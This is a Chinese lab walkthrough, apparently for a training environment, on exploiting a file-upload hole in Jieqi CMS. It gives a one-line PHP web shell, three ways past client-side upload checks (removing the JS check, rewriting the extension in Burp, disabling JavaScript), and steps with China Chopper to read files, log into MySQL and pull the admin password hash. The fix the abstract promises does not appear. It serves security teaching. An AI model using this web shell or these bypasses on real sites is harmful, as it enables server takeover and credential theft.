Abstract: 掌握杰奇 CMS 上传漏洞的利用方法,了解如何对此漏洞进行修复。

实验工具:中国菜刀 + Firebug

Table of Contents

  1. 非法文件上传漏洞
    1. 定位文件上传漏洞
    2. 三种方法绕过检测
      1. 删除函数绕过
      2. 抓包绕过
      3. 禁止 JS 功能绕过
    3. 使用中国菜刀

非法文件上传漏洞

定位文件上传漏洞

用浏览器打开网页 www.test.com,先注册用户,注册成功后,用该用户登录,用户首页如下:

可以看到,用户头像为默认,故首先定位到用户上传头像功能。点击 个人资料,进入 userdetail.php,页面显示如下:

判断用户在设置头像这里是否存在文件上传漏洞。

在桌面上新建一个名为 shell.php 的文件,写入一句话木马。再复制一份,命名为 shell.jpg 文件。

1
<?php @eval($_POST['cmd']);?>

C:\Tools\抓包改包\Burp Suite 中打开 burp ,设置浏览器为手动代理。

burpsuite 抓取上传 shell.jpg 的数据包,然后发送到 Repeater,然后在 Repeater 做各种尝试,查看 Response

把文件后缀修改为 .php,文件上传不成功。因此尝试寻找其他位置。

我的空间找到了上传相册功能,尝试在这里进行文件上传。

三种方法绕过检测

删除函数绕过

在上传相册页面,点击 浏览 选择 shell.php ,尝试在代码中找到前端 js 检测的代码。

发现 form 表单,提交时调用了 checkFile() 函数,直接把它删掉,

点击上传,发现上传成功。

抓包绕过

burpsuit抓包方法绕过,点击浏览,选择 shell.jpg 文件,点击上传。

burp 界面把文件后缀名改为 .php

发现上传成功。

禁止 JS 功能绕过

选中 Disable JavaScript,可以上传 .php 文件。

使用中国菜刀

打开菜刀,填写地址和密码,选择 php 脚本了类型。

添加成功后,选择文件目录,成功打开。

找到系统盘根目录下的 flag 文件。

双击打开文件。

返回主界面,右击选择数据库管理,

点击配置,填写如下内容。

1
2
3
4
<T>MYSQL</T>
<H>localhost</H>
<U>root</U>
<P>root</P>

点击提交,成功连接数据库。

发现 testjie 数据库,找到该库下的表 jieqi_system_users

在输入框输入,如下 SQL 语句,点击执行,成功获取 admin 的密码。

1
SELECT pass FROM jieqi_system_users WHERE name='admin';

用在线的 MD5 解密工具解密。